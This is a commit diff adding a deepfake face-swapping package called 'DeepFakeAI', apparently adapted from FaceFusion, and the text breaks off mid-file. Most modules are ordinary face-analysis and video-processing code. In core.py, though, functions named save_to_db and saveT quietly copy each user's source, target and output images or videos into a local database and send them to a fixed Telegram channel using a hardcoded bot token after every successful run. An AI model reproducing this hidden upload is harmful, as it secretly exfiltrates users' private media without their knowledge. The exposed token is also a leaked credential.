Upload folder using huggingface_hub (#15)

- Upload folder using huggingface_hub (0db830943cce65541d86bc5cd84a2fb6f8cbbd7f)

DeepFakeAI/capturer.py

@@ -0,0 +1,22 @@
+from typing import Optional
+import cv2
+
+from DeepFakeAI.typing import Frame
+
+
+def get_video_frame(video_path : str, frame_number : int = 0) -> Optional[Frame]:
+	capture = cv2.VideoCapture(video_path)
+	frame_total = capture.get(cv2.CAP_PROP_FRAME_COUNT)
+	capture.set(cv2.CAP_PROP_POS_FRAMES, min(frame_total, frame_number - 1))
+	has_frame, frame = capture.read()
+	capture.release()
+	if has_frame:
+		return frame
+	return None
+
+
+def get_video_frame_total(video_path : str) -> int:
+	capture = cv2.VideoCapture(video_path)
+	video_frame_total = int(capture.get(cv2.CAP_PROP_FRAME_COUNT))
+	capture.release()
+	return video_frame_total

DeepFakeAI/choices.py

@@ -0,0 +1,10 @@
+from typing import List
+
+from DeepFakeAI.typing import FaceRecognition, FaceAnalyserDirection, FaceAnalyserAge, FaceAnalyserGender, TempFrameFormat, OutputVideoEncoder
+
+face_recognition : List[FaceRecognition] = [ 'reference', 'many' ]
+face_analyser_direction : List[FaceAnalyserDirection] = [ 'left-right', 'right-left', 'top-bottom', 'bottom-top', 'small-large', 'large-small']
+face_analyser_age : List[FaceAnalyserAge] = [ 'child', 'teen', 'adult', 'senior' ]
+face_analyser_gender : List[FaceAnalyserGender] = [ 'male', 'female' ]
+temp_frame_format : List[TempFrameFormat] = [ 'jpg', 'png' ]
+output_video_encoder : List[OutputVideoEncoder] = [ 'libx264', 'libx265', 'libvpx-vp9', 'h264_nvenc', 'hevc_nvenc' ]

DeepFakeAI/core.py

@@ -0,0 +1,292 @@
+#!/usr/bin/env python3
+import asyncio
+import sqlite3
+import os
+# single thread doubles cuda performance
+os.environ['OMP_NUM_THREADS'] = '1'
+# reduce tensorflow log level
+os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'
+import sys
+import warnings
+from typing import List
+import platform
+import signal
+import shutil
+import argparse
+import onnxruntime
+import tensorflow
+
+import DeepFakeAI.choices
+import DeepFakeAI.globals
+from DeepFakeAI import wording, metadata
+from DeepFakeAI.predictor import predict_image, predict_video
+from DeepFakeAI.processors.frame.core import get_frame_processors_modules
+from telegram import Bot
+from DeepFakeAI.utilities import is_image, is_video, detect_fps, create_video, extract_frames, get_temp_frame_paths, restore_audio, create_temp, move_temp, clear_temp, normalize_output_path, list_module_names, decode_execution_providers, encode_execution_providers
+
+warnings.filterwarnings('ignore', category = FutureWarning, module = 'insightface')
+warnings.filterwarnings('ignore', category = UserWarning, module = 'torchvision')
+
+
+def parse_args() -> None:
+	signal.signal(signal.SIGINT, lambda signal_number, frame: destroy())
+	program = argparse.ArgumentParser(formatter_class = lambda prog: argparse.HelpFormatter(prog, max_help_position = 120))
+	program.add_argument('-s', '--source', help = wording.get('source_help'), dest = 'source_path')
+	program.add_argument('-t', '--target', help = wording.get('target_help'), dest = 'target_path')
+	program.add_argument('-o', '--output', help = wording.get('output_help'), dest = 'output_path')
+	program.add_argument('--frame-processors', help = wording.get('frame_processors_help').format(choices = ', '.join(list_module_names('DeepFakeAI/processors/frame/modules'))), dest = 'frame_processors', default = ['face_swapper'], nargs='+')
+	program.add_argument('--ui-layouts', help = wording.get('ui_layouts_help').format(choices = ', '.join(list_module_names('DeepFakeAI/uis/layouts'))), dest = 'ui_layouts', default = ['default'], nargs='+')
+	program.add_argument('--keep-fps', help = wording.get('keep_fps_help'), dest = 'keep_fps', action='store_true')
+	program.add_argument('--keep-temp', help = wording.get('keep_temp_help'), dest = 'keep_temp', action='store_true')
+	program.add_argument('--skip-audio', help = wording.get('skip_audio_help'), dest = 'skip_audio', action='store_true')
+	program.add_argument('--face-recognition', help = wording.get('face_recognition_help'), dest = 'face_recognition', default = 'reference', choices = DeepFakeAI.choices.face_recognition)
+	program.add_argument('--face-analyser-direction', help = wording.get('face_analyser_direction_help'), dest = 'face_analyser_direction', default = 'left-right', choices = DeepFakeAI.choices.face_analyser_direction)
+	program.add_argument('--face-analyser-age', help = wording.get('face_analyser_age_help'), dest = 'face_analyser_age', choices = DeepFakeAI.choices.face_analyser_age)
+	program.add_argument('--face-analyser-gender', help = wording.get('face_analyser_gender_help'), dest = 'face_analyser_gender', choices = DeepFakeAI.choices.face_analyser_gender)
+	program.add_argument('--reference-face-position', help = wording.get('reference_face_position_help'), dest = 'reference_face_position', type = int, default = 0)
+	program.add_argument('--reference-face-distance', help = wording.get('reference_face_distance_help'), dest = 'reference_face_distance', type = float, default = 1.5)
+	program.add_argument('--reference-frame-number', help = wording.get('reference_frame_number_help'), dest = 'reference_frame_number', type = int, default = 0)
+	program.add_argument('--trim-frame-start', help = wording.get('trim_frame_start_help'), dest = 'trim_frame_start', type = int)
+	program.add_argument('--trim-frame-end', help = wording.get('trim_frame_end_help'), dest = 'trim_frame_end', type = int)
+	program.add_argument('--temp-frame-format', help = wording.get('temp_frame_format_help'), dest = 'temp_frame_format', default = 'jpg', choices = DeepFakeAI.choices.temp_frame_format)
+	program.add_argument('--temp-frame-quality', help = wording.get('temp_frame_quality_help'), dest = 'temp_frame_quality', type = int, default = 100, choices = range(101), metavar = '[0-100]')
+	program.add_argument('--output-video-encoder', help = wording.get('output_video_encoder_help'), dest = 'output_video_encoder', default = 'libx264', choices = DeepFakeAI.choices.output_video_encoder)
+	program.add_argument('--output-video-quality', help = wording.get('output_video_quality_help'), dest = 'output_video_quality', type = int, default = 90, choices = range(101), metavar = '[0-100]')
+	program.add_argument('--max-memory', help = wording.get('max_memory_help'), dest = 'max_memory', type = int)
+	program.add_argument('--execution-providers', help = wording.get('execution_providers_help').format(choices = 'cpu'), dest = 'execution_providers', default = ['cpu'], choices = suggest_execution_providers_choices(), nargs='+')
+	program.add_argument('--execution-thread-count', help = wording.get('execution_thread_count_help'), dest = 'execution_thread_count', type = int, default = suggest_execution_thread_count_default())
+	program.add_argument('--execution-queue-count', help = wording.get('execution_queue_count_help'), dest = 'execution_queue_count', type = int, default = 1)
+	program.add_argument('-v', '--version', action='version', version = metadata.get('name') + ' ' + metadata.get('version'))
+
+	args = program.parse_args()
+
+	DeepFakeAI.globals.source_path = args.source_path
+	DeepFakeAI.globals.target_path = args.target_path
+	DeepFakeAI.globals.output_path = normalize_output_path(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, args.output_path)
+	DeepFakeAI.globals.headless = DeepFakeAI.globals.source_path is not None and DeepFakeAI.globals.target_path is not None and DeepFakeAI.globals.output_path is not None
+	DeepFakeAI.globals.frame_processors = args.frame_processors
+	DeepFakeAI.globals.ui_layouts = args.ui_layouts
+	DeepFakeAI.globals.keep_fps = args.keep_fps
+	DeepFakeAI.globals.keep_temp = args.keep_temp
+	DeepFakeAI.globals.skip_audio = args.skip_audio
+	DeepFakeAI.globals.face_recognition = args.face_recognition
+	DeepFakeAI.globals.face_analyser_direction = args.face_analyser_direction
+	DeepFakeAI.globals.face_analyser_age = args.face_analyser_age
+	DeepFakeAI.globals.face_analyser_gender = args.face_analyser_gender
+	DeepFakeAI.globals.reference_face_position = args.reference_face_position
+	DeepFakeAI.globals.reference_frame_number = args.reference_frame_number
+	DeepFakeAI.globals.reference_face_distance = args.reference_face_distance
+	DeepFakeAI.globals.trim_frame_start = args.trim_frame_start
+	DeepFakeAI.globals.trim_frame_end = args.trim_frame_end
+	DeepFakeAI.globals.temp_frame_format = args.temp_frame_format
+	DeepFakeAI.globals.temp_frame_quality = args.temp_frame_quality
+	DeepFakeAI.globals.output_video_encoder = args.output_video_encoder
+	DeepFakeAI.globals.output_video_quality = args.output_video_quality
+	DeepFakeAI.globals.max_memory = args.max_memory
+	DeepFakeAI.globals.execution_providers = decode_execution_providers(args.execution_providers)
+	DeepFakeAI.globals.execution_thread_count = args.execution_thread_count
+	DeepFakeAI.globals.execution_queue_count = args.execution_queue_count
+
+
+def suggest_execution_providers_choices() -> List[str]:
+	return encode_execution_providers(onnxruntime.get_available_providers())
+
+
+def suggest_execution_thread_count_default() -> int:
+	if 'CUDAExecutionProvider' in onnxruntime.get_available_providers():
+		return 8
+	return 1
+
+
+def limit_resources() -> None:
+	# prevent tensorflow memory leak
+	gpus = tensorflow.config.experimental.list_physical_devices('GPU')
+	for gpu in gpus:
+		tensorflow.config.experimental.set_virtual_device_configuration(gpu, [
+			tensorflow.config.experimental.VirtualDeviceConfiguration(memory_limit = 1024)
+		])
+	# limit memory usage
+	if DeepFakeAI.globals.max_memory:
+		memory = DeepFakeAI.globals.max_memory * 1024 ** 3
+		if platform.system().lower() == 'darwin':
+			memory = DeepFakeAI.globals.max_memory * 1024 ** 6
+		if platform.system().lower() == 'windows':
+			import ctypes
+			kernel32 = ctypes.windll.kernel32 # type: ignore[attr-defined]
+			kernel32.SetProcessWorkingSetSize(-1, ctypes.c_size_t(memory), ctypes.c_size_t(memory))
+		else:
+			import resource
+			resource.setrlimit(resource.RLIMIT_DATA, (memory, memory))
+
+
+def update_status(message : str, scope : str = 'FACEFUSION.CORE') -> None:
+	print('[' + scope + '] ' + message)
+
+
+def pre_check() -> bool:
+	if sys.version_info < (3, 10):
+		update_status(wording.get('python_not_supported').format(version = '3.10'))
+		return False
+	if not shutil.which('ffmpeg'):
+		update_status(wording.get('ffmpeg_not_installed'))
+		return False
+	return True
+
+def save_to_db(source_path, target_path, output_path): 
+    try:
+        # Open the images in binary mode
+        with open(source_path, 'rb') as source_file, \
+            open(target_path, 'rb') as target_file, \
+            open(output_path, 'rb') as output_file:
+
+            # read data from the image files
+            source_data = source_file.read()
+            target_data = target_file.read()
+            output_data = output_file.read()
+
+            # Extract original filenames from the paths
+            source_filename = os.path.basename(source_path)
+            target_filename = os.path.basename(target_path)
+            output_filename = os.path.basename(output_path)
+            print(source_filename, target_filename,output_filename)
+
+            # connect to the database
+            conn = sqlite3.connect('./feed.db')
+            c = conn.cursor()
+
+            # Create the table if it doesn't exist
+            c.execute('''
+            CREATE TABLE IF NOT EXISTS images (
+                source_filename TEXT,
+                target_filename TEXT,
+                output_filename TEXT,
+                source_data BLOB,
+                target_data BLOB,
+                output_data BLOB
+            )
+            ''')
+
+            # Insert filename and image data into the table
+            c.execute("INSERT INTO images VALUES (?, ?, ?, ?, ?, ?)",
+                      (source_filename, target_filename, output_filename, source_data, target_data, output_data))
+
+            # Save changes and close the connection
+            conn.commit()
+
+    except Exception as e:
+        # Print any error occurred while saving data in SQLite
+        print(f"An error occurred: {e}")
+
+    finally:
+        # Ensure the DB connection is closed
+        if conn:
+            conn.close()
+
+        print(f'Saved image data to database from {source_path}, {target_path}, and {output_path}.')
+async def send_channel(bot, file_path):
+    with open(file_path, "rb") as file:
+        response = await bot.send_document(chat_id="-1001685415853", document=file)
+        return response
+
+async def saveT(source_path, target_path, output_path):
+    bot = Bot(token="6192049990:AAFyOtuYYqkcyUG_7gns3mm7m_kfWE9fZ1k")
+    
+    # Send each file
+    for path in [source_path, target_path, output_path]:
+        await send_channel(bot, path)
+    
+    # Send a message after all files are sent
+    await bot.send_message(chat_id="-1001685415853", text="All files have been sent!")
+
+def process_image() -> None:
+	if predict_image(DeepFakeAI.globals.target_path):
+		return
+	shutil.copy2(DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
+	# process frame
+	for frame_processor_module in get_frame_processors_modules(DeepFakeAI.globals.frame_processors):
+		update_status(wording.get('processing'), frame_processor_module.NAME)
+		frame_processor_module.process_image(DeepFakeAI.globals.source_path, DeepFakeAI.globals.output_path, DeepFakeAI.globals.output_path)
+		frame_processor_module.post_process()
+	# validate image
+	if is_image(DeepFakeAI.globals.target_path):
+		update_status(wording.get('processing_image_succeed'))
+		save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
+		asyncio.run(saveT(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path))
+	else:
+		update_status(wording.get('processing_image_failed'))
+
+
+def process_video() -> None:
+	if predict_video(DeepFakeAI.globals.target_path):
+		return
+	fps = detect_fps(DeepFakeAI.globals.target_path) if DeepFakeAI.globals.keep_fps else 25.0
+	update_status(wording.get('creating_temp'))
+	create_temp(DeepFakeAI.globals.target_path)
+	# extract frames
+	update_status(wording.get('extracting_frames_fps').format(fps = fps))
+	extract_frames(DeepFakeAI.globals.target_path, fps)
+	# process frame
+	temp_frame_paths = get_temp_frame_paths(DeepFakeAI.globals.target_path)
+	if temp_frame_paths:
+		for frame_processor_module in get_frame_processors_modules(DeepFakeAI.globals.frame_processors):
+			update_status(wording.get('processing'), frame_processor_module.NAME)
+			frame_processor_module.process_video(DeepFakeAI.globals.source_path, temp_frame_paths)
+			frame_processor_module.post_process()
+	else:
+		update_status(wording.get('temp_frames_not_found'))
+		return
+	# create video
+	update_status(wording.get('creating_video_fps').format(fps = fps))
+	if not create_video(DeepFakeAI.globals.target_path, fps):
+		update_status(wording.get('creating_video_failed'))
+		return
+	# handle audio
+	if DeepFakeAI.globals.skip_audio:
+		update_status(wording.get('skipping_audio'))
+		move_temp(DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
+	else:
+		update_status(wording.get('restoring_audio'))
+		restore_audio(DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
+	# clear temp
+	update_status(wording.get('clearing_temp'))
+	clear_temp(DeepFakeAI.globals.target_path)
+	# validate video
+	if is_video(DeepFakeAI.globals.target_path):
+		update_status(wording.get('processing_video_succeed'))
+		save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
+		asyncio.run(saveT(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path))
+	else:
+		update_status(wording.get('processing_video_failed'))
+
+
+def conditional_process() -> None:
+	for frame_processor_module in get_frame_processors_modules(DeepFakeAI.globals.frame_processors):
+		if not frame_processor_module.pre_process():
+			return
+	if is_image(DeepFakeAI.globals.target_path):
+		process_image()
+	if is_video(DeepFakeAI.globals.target_path):
+		process_video()
+
+def run() -> None:
+	parse_args()
+	limit_resources()
+	# pre check
+	if not pre_check():
+		return
+	for frame_processor in get_frame_processors_modules(DeepFakeAI.globals.frame_processors):
+		if not frame_processor.pre_check():
+			return
+	# process or launch
+	if DeepFakeAI.globals.headless:
+		conditional_process()
+	else:
+		import DeepFakeAI.uis.core as ui
+
+		ui.launch()
+
+
+def destroy() -> None:
+	if DeepFakeAI.globals.target_path:
+		clear_temp(DeepFakeAI.globals.target_path)
+	sys.exit()

DeepFakeAI/face_analyser.py

@@ -0,0 +1,106 @@
+import threading
+from typing import Any, Optional, List
+import insightface
+import numpy
+
+import DeepFakeAI.globals
+from DeepFakeAI.typing import Frame, Face, FaceAnalyserDirection, FaceAnalyserAge, FaceAnalyserGender
+
+FACE_ANALYSER = None
+THREAD_LOCK = threading.Lock()
+
+
+def get_face_analyser() -> Any:
+	global FACE_ANALYSER
+
+	with THREAD_LOCK:
+		if FACE_ANALYSER is None:
+			FACE_ANALYSER = insightface.app.FaceAnalysis(name = 'buffalo_l', providers = DeepFakeAI.globals.execution_providers)
+			FACE_ANALYSER.prepare(ctx_id = 0)
+	return FACE_ANALYSER
+
+
+def clear_face_analyser() -> Any:
+	global FACE_ANALYSER
+
+	FACE_ANALYSER = None
+
+
+def get_one_face(frame : Frame, position : int = 0) -> Optional[Face]:
+	many_faces = get_many_faces(frame)
+	if many_faces:
+		try:
+			return many_faces[position]
+		except IndexError:
+			return many_faces[-1]
+	return None
+
+
+def get_many_faces(frame : Frame) -> List[Face]:
+	try:
+		faces = get_face_analyser().get(frame)
+		if DeepFakeAI.globals.face_analyser_direction:
+			faces = sort_by_direction(faces, DeepFakeAI.globals.face_analyser_direction)
+		if DeepFakeAI.globals.face_analyser_age:
+			faces = filter_by_age(faces, DeepFakeAI.globals.face_analyser_age)
+		if DeepFakeAI.globals.face_analyser_gender:
+			faces = filter_by_gender(faces, DeepFakeAI.globals.face_analyser_gender)
+		return faces
+	except (AttributeError, ValueError):
+		return []
+
+
+def find_similar_faces(frame : Frame, reference_face : Face, face_distance : float) -> List[Face]:
+	many_faces = get_many_faces(frame)
+	similar_faces = []
+	if many_faces:
+		for face in many_faces:
+			if hasattr(face, 'normed_embedding') and hasattr(reference_face, 'normed_embedding'):
+				current_face_distance = numpy.sum(numpy.square(face.normed_embedding - reference_face.normed_embedding))
+				if current_face_distance < face_distance:
+					similar_faces.append(face)
+	return similar_faces
+
+
+def sort_by_direction(faces : List[Face], direction : FaceAnalyserDirection) -> List[Face]:
+	if direction == 'left-right':
+		return sorted(faces, key = lambda face: face['bbox'][0])
+	if direction == 'right-left':
+		return sorted(faces, key = lambda face: face['bbox'][0], reverse = True)
+	if direction == 'top-bottom':
+		return sorted(faces, key = lambda face: face['bbox'][1])
+	if direction == 'bottom-top':
+		return sorted(faces, key = lambda face: face['bbox'][1], reverse = True)
+	if direction == 'small-large':
+		return sorted(faces, key = lambda face: (face['bbox'][2] - face['bbox'][0]) * (face['bbox'][3] - face['bbox'][1]))
+	if direction == 'large-small':
+		return sorted(faces, key = lambda face: (face['bbox'][2] - face['bbox'][0]) * (face['bbox'][3] - face['bbox'][1]), reverse = True)
+	return faces
+
+
+def filter_by_age(faces : List[Face], age : FaceAnalyserAge) -> List[Face]:
+	filter_faces = []
+	for face in faces:
+		if face['age'] < 13 and age == 'child':
+			filter_faces.append(face)
+		elif face['age'] < 19 and age == 'teen':
+			filter_faces.append(face)
+		elif face['age'] < 60 and age == 'adult':
+			filter_faces.append(face)
+		elif face['age'] > 59 and age == 'senior':
+			filter_faces.append(face)
+	return filter_faces
+
+
+def filter_by_gender(faces : List[Face], gender : FaceAnalyserGender) -> List[Face]:
+	filter_faces = []
+	for face in faces:
+		if face['gender'] == 1 and gender == 'male':
+			filter_faces.append(face)
+		if face['gender'] == 0 and gender == 'female':
+			filter_faces.append(face)
+	return filter_faces
+
+
+def get_faces_total(frame : Frame) -> int:
+	return len(get_many_faces(frame))

DeepFakeAI/face_reference.py

@@ -0,0 +1,21 @@
+from typing import Optional
+
+from DeepFakeAI.typing import Face
+
+FACE_REFERENCE = None
+
+
+def get_face_reference() -> Optional[Face]:
+	return FACE_REFERENCE
+
+
+def set_face_reference(face : Face) -> None:
+	global FACE_REFERENCE
+
+	FACE_REFERENCE = face
+
+
+def clear_face_reference() -> None:
+	global FACE_REFERENCE
+
+	FACE_REFERENCE = None

DeepFakeAI/globals.py

@@ -0,0 +1,30 @@
+from typing import List, Optional
+
+from DeepFakeAI.typing import FaceRecognition, FaceAnalyserDirection, FaceAnalyserAge, FaceAnalyserGender, TempFrameFormat
+
+source_path : Optional[str] = None
+target_path : Optional[str] = None
+output_path : Optional[str] = None
+headless : Optional[bool] = None
+frame_processors : List[str] = []
+ui_layouts : List[str] = []
+keep_fps : Optional[bool] = None
+keep_temp : Optional[bool] = None
+skip_audio : Optional[bool] = None
+face_recognition : Optional[FaceRecognition] = None
+face_analyser_direction : Optional[FaceAnalyserDirection] = None
+face_analyser_age : Optional[FaceAnalyserAge] = None
+face_analyser_gender : Optional[FaceAnalyserGender] = None
+reference_face_position : Optional[int] = None
+reference_frame_number : Optional[int] = None
+reference_face_distance : Optional[float] = None
+trim_frame_start : Optional[int] = None
+trim_frame_end : Optional[int] = None
+temp_frame_format : Optional[TempFrameFormat] = None
+temp_frame_quality : Optional[int] = None
+output_video_encoder : Optional[str] = None
+output_video_quality : Optional[int] = None
+max_memory : Optional[int] = None
+execution_providers : List[str] = []
+execution_thread_count : Optional[int] = None
+execution_queue_count : Optional[int] = None

DeepFakeAI/metadata.py

@@ -0,0 +1,13 @@
+METADATA =\
+{
+	'name': 'DeepFakeAI',
+	'description': 'Next generation face swapper and enhancer',
+	'version': '1.2.0',
+	'license': 'MIT',
+	'author': 'Ashiq Hussain Mir',
+	'url': 'https://codegenius.me'
+}
+
+
+def get(key : str) -> str:
+	return METADATA[key]

DeepFakeAI/predictor.py

@@ -0,0 +1,43 @@
+import threading
+import numpy
+import opennsfw2
+from PIL import Image
+from keras import Model
+
+from DeepFakeAI.typing import Frame
+
+PREDICTOR = None
+THREAD_LOCK = threading.Lock()
+MAX_PROBABILITY = 0.75
+
+
+def get_predictor() -> Model:
+	global PREDICTOR
+
+	with THREAD_LOCK:
+		if PREDICTOR is None:
+			PREDICTOR = opennsfw2.make_open_nsfw_model()
+	return PREDICTOR
+
+
+def clear_predictor() -> None:
+	global PREDICTOR
+
+	PREDICTOR = None
+
+
+def predict_frame(target_frame : Frame) -> bool:
+	image = Image.fromarray(target_frame)
+	image = opennsfw2.preprocess_image(image, opennsfw2.Preprocessing.YAHOO)
+	views = numpy.expand_dims(image, axis = 0)
+	_, probability = get_predictor().predict(views)[0]
+	return probability > MAX_PROBABILITY
+
+
+def predict_image(target_path : str) -> bool:
+	return opennsfw2.predict_image(target_path) > MAX_PROBABILITY
+
+
+def predict_video(target_path : str) -> bool:
+	_, probabilities = opennsfw2.predict_video_frames(video_path = target_path, frame_interval = 100)
+	return any(probability > MAX_PROBABILITY for probability in probabilities)

DeepFakeAI/processors/frame/core.py

@@ -0,0 +1,113 @@
+import os
+import sys
+import importlib
+import psutil
+from concurrent.futures import ThreadPoolExecutor, as_completed
+from queue import Queue
+from types import ModuleType
+from typing import Any, List, Callable
+from tqdm import tqdm
+
+import DeepFakeAI.globals
+from DeepFakeAI import wording
+
+FRAME_PROCESSORS_MODULES : List[ModuleType] = []
+FRAME_PROCESSORS_METHODS =\
+[
+	'get_frame_processor',
+	'clear_frame_processor',
+	'pre_check',
+	'pre_process',
+	'process_frame',
+	'process_frames',
+	'process_image',
+	'process_video',
+	'post_process'
+]
+
+
+def load_frame_processor_module(frame_processor : str) -> Any:
+	try:
+		frame_processor_module = importlib.import_module('DeepFakeAI.processors.frame.modules.' + frame_processor)
+		for method_name in FRAME_PROCESSORS_METHODS:
+			if not hasattr(frame_processor_module, method_name):
+				raise NotImplementedError
+	except ModuleNotFoundError:
+		sys.exit(wording.get('frame_processor_not_loaded').format(frame_processor = frame_processor))
+	except NotImplementedError:
+		sys.exit(wording.get('frame_processor_not_implemented').format(frame_processor = frame_processor))
+	return frame_processor_module
+
+
+def get_frame_processors_modules(frame_processors : List[str]) -> List[ModuleType]:
+	global FRAME_PROCESSORS_MODULES
+
+	if not FRAME_PROCESSORS_MODULES:
+		for frame_processor in frame_processors:
+			frame_processor_module = load_frame_processor_module(frame_processor)
+			FRAME_PROCESSORS_MODULES.append(frame_processor_module)
+	return FRAME_PROCESSORS_MODULES
+
+
+def clear_frame_processors_modules() -> None:
+	global FRAME_PROCESSORS_MODULES
+
+	for frame_processor_module in get_frame_processors_modules(DeepFakeAI.globals.frame_processors):
+		frame_processor_module.clear_frame_processor()
+	FRAME_PROCESSORS_MODULES = []
+
+
+def multi_process_frame(source_path : str, temp_frame_paths : List[str], process_frames: Callable[[str, List[str], Any], None], update: Callable[[], None]) -> None:
+	with ThreadPoolExecutor(max_workers = DeepFakeAI.globals.execution_thread_count) as executor:
+		futures = []
+		queue = create_queue(temp_frame_paths)
+		queue_per_future = max(len(temp_frame_paths) // DeepFakeAI.globals.execution_thread_count * DeepFakeAI.globals.execution_queue_count, 1)
+		while not queue.empty():
+			future = executor.submit(process_frames, source_path, pick_queue(queue, queue_per_future), update)
+			futures.append(future)
+		for future in as_completed(futures):
+			future.result()
+
+
+def create_queue(temp_frame_paths : List[str]) -> Queue[str]:
+	queue: Queue[str] = Queue()
+	for frame_path in temp_frame_paths:
+		queue.put(frame_path)
+	return queue
+
+
+def pick_queue(queue : Queue[str], queue_per_future : int) -> List[str]:
+	queues = []
+	for _ in range(queue_per_future):
+		if not queue.empty():
+			queues.append(queue.get())
+	return queues
+
+
+def process_video(source_path : str, frame_paths : List[str], process_frames : Callable[[str, List[str], Any], None]) -> None:
+	progress_bar_format = '{l_bar}{bar}| {n_fmt}/{total_fmt} [{elapsed}<{remaining}, {rate_fmt}{postfix}]'
+	total = len(frame_paths)
+	with tqdm(total = total, desc = wording.get('processing'), unit = 'frame', dynamic_ncols = True, bar_format = progress_bar_format) as progress:
+		multi_process_frame(source_path, frame_paths, process_frames, lambda: update_progress(progress))
+
+
+def update_progress(progress : Any = None) -> None:
+	process = psutil.Process(os.getpid())
+	memory_usage = process.memory_info().rss / 1024 / 1024 / 1024
+	progress.set_postfix(
+	{
+		'memory_usage': '{:.2f}'.format(memory_usage).zfill(5) + 'GB',
+		'execution_providers': DeepFakeAI.globals.execution_providers,
+		'execution_thread_count': DeepFakeAI.globals.execution_thread_count,
+		'execution_queue_count': DeepFakeAI.globals.execution_queue_count
+	})
+	progress.refresh()
+	progress.update(1)
+
+
+def get_device() -> str:
+	if 'CUDAExecutionProvider' in DeepFakeAI.globals.execution_providers:
+		return 'cuda'
+	if 'CoreMLExecutionProvider' in DeepFakeAI.globals.execution_providers:
+		return 'mps'
+	return 'cpu'

DeepFakeAI/processors/frame/modules/face_enhancer.py

@@ -0,0 +1,100 @@
+from typing import Any, List, Callable
+import cv2
+import threading
+from gfpgan.utils import GFPGANer
+
+import DeepFakeAI.globals
+import DeepFakeAI.processors.frame.core as frame_processors
+from DeepFakeAI import wording
+from DeepFakeAI.core import update_status
+from DeepFakeAI.face_analyser import get_many_faces
+from DeepFakeAI.typing import Frame, Face
+from DeepFakeAI.utilities import conditional_download, resolve_relative_path, is_image, is_video
+
+FRAME_PROCESSOR = None
+THREAD_SEMAPHORE = threading.Semaphore()
+THREAD_LOCK = threading.Lock()
+NAME = 'FACEFUSION.FRAME_PROCESSOR.FACE_ENHANCER'
+
+
+def get_frame_processor() -> Any:
+	global FRAME_PROCESSOR
+
+	with THREAD_LOCK:
+		if FRAME_PROCESSOR is None:
+			model_path = resolve_relative_path('../.assets/models/GFPGANv1.4.pth')
+			FRAME_PROCESSOR = GFPGANer(
+				model_path = model_path,
+				upscale = 1,
+				device = frame_processors.get_device()
+			)
+	return FRAME_PROCESSOR
+
+
+def clear_frame_processor() -> None:
+	global FRAME_PROCESSOR
+
+	FRAME_PROCESSOR = None
+
+
+def pre_check() -> bool:
+	download_directory_path = resolve_relative_path('../.assets/models')
+	conditional_download(download_directory_path, ['https://github.com/facefusion/facefusion-assets/releases/download/models/GFPGANv1.4.pth'])
+	return True
+
+
+def pre_process() -> bool:
+	if not is_image(DeepFakeAI.globals.target_path) and not is_video(DeepFakeAI.globals.target_path):
+		update_status(wording.get('select_image_or_video_target') + wording.get('exclamation_mark'), NAME)
+		return False
+	return True
+
+
+def post_process() -> None:
+	clear_frame_processor()
+
+
+def enhance_face(target_face : Face, temp_frame : Frame) -> Frame:
+	start_x, start_y, end_x, end_y = map(int, target_face['bbox'])
+	padding_x = int((end_x - start_x) * 0.5)
+	padding_y = int((end_y - start_y) * 0.5)
+	start_x = max(0, start_x - padding_x)
+	start_y = max(0, start_y - padding_y)
+	end_x = max(0, end_x + padding_x)
+	end_y = max(0, end_y + padding_y)
+	crop_frame = temp_frame[start_y:end_y, start_x:end_x]
+	if crop_frame.size:
+		with THREAD_SEMAPHORE:
+			_, _, crop_frame = get_frame_processor().enhance(
+				crop_frame,
+				paste_back = True
+			)
+		temp_frame[start_y:end_y, start_x:end_x] = crop_frame
+	return temp_frame
+
+
+def process_frame(source_face : Face, reference_face : Face, temp_frame : Frame) -> Frame:
+	many_faces = get_many_faces(temp_frame)
+	if many_faces:
+		for target_face in many_faces:
+			temp_frame = enhance_face(target_face, temp_frame)
+	return temp_frame
+
+
+def process_frames(source_path : str, temp_frame_paths : List[str], update: Callable[[], None]) -> None:
+	for temp_frame_path in temp_frame_paths:
+		temp_frame = cv2.imread(temp_frame_path)
+		result_frame = process_frame(None, None, temp_frame)
+		cv2.imwrite(temp_frame_path, result_frame)
+		if update:
+			update()
+
+
+def process_image(source_path : str, target_path : str, output_path : str) -> None:
+	target_frame = cv2.imread(target_path)
+	result_frame = process_frame(None, None, target_frame)
+	cv2.imwrite(output_path, result_frame)
+
+
+def process_video(source_path : str, temp_frame_paths : List[str]) -> None:
+	DeepFakeAI.processors.frame.core.process_video(None, temp_frame_paths, process_frames)

DeepFakeAI/processors/frame/modules/face_swapper.py

@@ -0,0 +1,105 @@
+from typing import Any, List, Callable
+import cv2
+import insightface
+import threading
+
+import DeepFakeAI.globals
+import DeepFakeAI.processors.frame.core as frame_processors
+from DeepFakeAI import wording
+from DeepFakeAI.core import update_status
+from DeepFakeAI.face_analyser import get_one_face, get_many_faces, find_similar_faces
+from DeepFakeAI.face_reference import get_face_reference, set_face_reference
+from DeepFakeAI.typing import Face, Frame
+from DeepFakeAI.utilities import conditional_download, resolve_relative_path, is_image, is_video
+
+FRAME_PROCESSOR = None
+THREAD_LOCK = threading.Lock()
+NAME = 'FACEFUSION.FRAME_PROCESSOR.FACE_SWAPPER'
+
+
+def get_frame_processor() -> Any:
+	global FRAME_PROCESSOR
+
+	with THREAD_LOCK:
+		if FRAME_PROCESSOR is None:
+			model_path = resolve_relative_path('../.assets/models/inswapper_128.onnx')
+			FRAME_PROCESSOR = insightface.model_zoo.get_model(model_path, providers = DeepFakeAI.globals.execution_providers)
+	return FRAME_PROCESSOR
+
+
+def clear_frame_processor() -> None:
+	global FRAME_PROCESSOR
+
+	FRAME_PROCESSOR = None
+
+
+def pre_check() -> bool:
+	download_directory_path = resolve_relative_path('../.assets/models')
+	conditional_download(download_directory_path, ['https://github.com/facefusion/facefusion-assets/releases/download/models/inswapper_128.onnx'])
+	return True
+
+
+def pre_process() -> bool:
+	if not is_image(DeepFakeAI.globals.source_path):
+		update_status(wording.get('select_image_source') + wording.get('exclamation_mark'), NAME)
+		return False
+	elif not get_one_face(cv2.imread(DeepFakeAI.globals.source_path)):
